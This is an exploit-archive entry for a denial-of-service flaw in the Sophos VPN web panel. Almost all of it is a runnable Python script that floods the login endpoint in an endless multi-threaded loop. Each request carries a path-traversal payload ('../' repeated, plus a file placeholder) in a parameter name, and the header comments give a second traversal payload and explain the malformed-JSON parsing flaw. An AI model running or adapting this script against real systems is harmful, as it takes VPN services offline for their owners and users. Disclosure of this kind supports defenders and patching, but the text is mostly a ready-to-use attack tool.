Sophos VPN Web Panel 2020 Denial Of Service

`# Exploit Title: Sophos VPN Web Panel 2020 - Denial of Service (Poc)  
# Date: 2020-06-17  
# Exploit Author: Berk KIRAS  
# Vendor Homepage: https://www.sophos.com/  
# Version:2020 Web Panel  
# Tested on: Apache  
# Berk KIRAS PwC - Cyber Security Specialist   
# Sophos VPN Web Portal Denial of Service Vulnerability  
# System parse JSON data. If we want to send some JSON with invalid data format   
# for ex. valid -> {"test","test2"} , invalid -> {"test",PAYLOAD"test2"}   
# The system can not parse this data fastly and service down  
# payload_option2 ="../../../../../../../../../FILE./FILE"  
  
#!/usr/bin/python3  
  
import requests  
import sys  
import random  
import threading  
  
def send_req():  
cnt = random.randint(9,22)  
payload= "../"*cnt+'{FILE}'  
my_datas_params = {"username":"test",  
payload+"password":"admin",  
"cookie":"0",  
"submit":"<div class=\"login_screen_login_button_left\"></div><div class=\"login_screen_login_button_middle\">Oturum Aç</div><div class=\"login_screen_login_button_right\"></div>",  
"language":"turkish",  
"browser_id":"kbgacsyo-q4j5o7lr70e"}  
  
# You should change some values into the headers  
Host_addr = sys.argv[2]  
Origin=sys.argv[1]+"://"+sys.argv[2]  
Referrer=sys.argv[1]+"://"+sys.argv[2]  
Cookie=sys.argv[4]  
#Headers  
my_datas_headers ={  
"Host":str(Host_addr),  
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",  
"Accept": "text/javascript, text/html, application/xml, text/xml, */*",  
"Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",  
"Accept-Encoding": "gzip, deflate",  
"X-Requested-With": "XMLHttpRequest",  
"X-Prototype-Version": "1.6.1_rc3",  
"Content-type": "application/json; charset=UTF-8",  
"Origin":Origin,  
"Connection": "close",  
"Referer":Referrer,  
"Cookie":Cookie,  
}  
my_datas_headers2 ={  
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",  
"Accept": "text/javascript, text/html, application/xml, text/xml, */*",  
"Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",  
"Accept-Encoding": "gzip, deflate",  
"X-Requested-With": "XMLHttpRequest",  
"X-Prototype-Version": "1.6.1_rc3",  
"Content-type": "application/json; charset=UTF-8",  
"Connection": "close",  
}  
#If you want to edit and add headers some headers added  
s = requests.session()  
#if you want simple-> headers={'User-Agent': 'Mozilla', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}  
s.headers.update(my_datas_headers2)  
print(s.headers.items)  
r = s.post(sys.argv[1]+"://"+sys.argv[2]+sys.argv[3],data=my_datas_params)  
  
return s  
  
def main():  
if(len(sys.argv) < 6):   
print("Usage:1) Implement your headers \n2)change payload if you want \n3) exploit.py <http/https> <domain> <page> <cookie-val> <Thread(1-10)> \nExample-> exploit.py http vpn.test.com /test/index.plx 2\nCoded by b3rkk1r4s | PwC Cyber")  
sys.exit(0)  
else:  
try:  
req_count=0   
while(True):  
if(int(sys.argv[5])==1):  
resp = send_req()  
req_count=req_count+1  
print("Sending Requests... Count: "+str(req_count))  
else:  
threads = int(sys.argv[5])  
jobs = []  
for i in range(0, threads):  
out_list = list()  
thread = threading.Thread(target=send_req)  
jobs.append(thread)  
for j in jobs:  
j.start()  
print("Jobs Started!")  
# Ensure all of the threads have finished  
for j in jobs:  
j.join()  
  
except Exception:  
print(Exception)  
  
main()  
`